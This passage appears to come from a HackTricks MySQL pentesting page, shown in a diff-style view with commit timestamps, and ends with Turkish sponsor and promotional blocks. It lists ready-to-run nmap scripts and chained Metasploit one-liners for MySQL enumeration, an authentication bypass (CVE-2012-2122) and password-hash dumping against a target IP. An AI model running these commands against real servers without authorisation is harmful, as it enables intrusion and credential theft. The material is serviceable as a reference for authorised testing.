Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
2021-08-15 17:37:03 +00:00
Entry_3:
2024-02-10 18:14:16 +00:00
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2022-10-25 15:56:49 +00:00
2024-02-10 18:14:16 +00:00
```
2024-04-07 03:13:19 +00:00
2024-04-06 19:40:41 +00:00
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 03:13:19 +00:00
[**RootedCON** ](https://www.rootedcon.com/ ) İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktası dı r.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
< details >
2024-04-07 03:13:19 +00:00
< summary > < strong > Sı fı rdan kahramana kadar AWS hackleme öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-04-07 03:13:19 +00:00
HackTricks'ı desteklemenin diğer yolları :
2024-02-03 01:15:34 +00:00
2024-04-07 03:13:19 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-04-07 03:13:19 +00:00
* [**The PEASS Family'yi** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi Twitter'da 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı zı göndererek HackTricks** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na PR'lar gönderin.
2022-04-28 16:01:33 +00:00
< / details >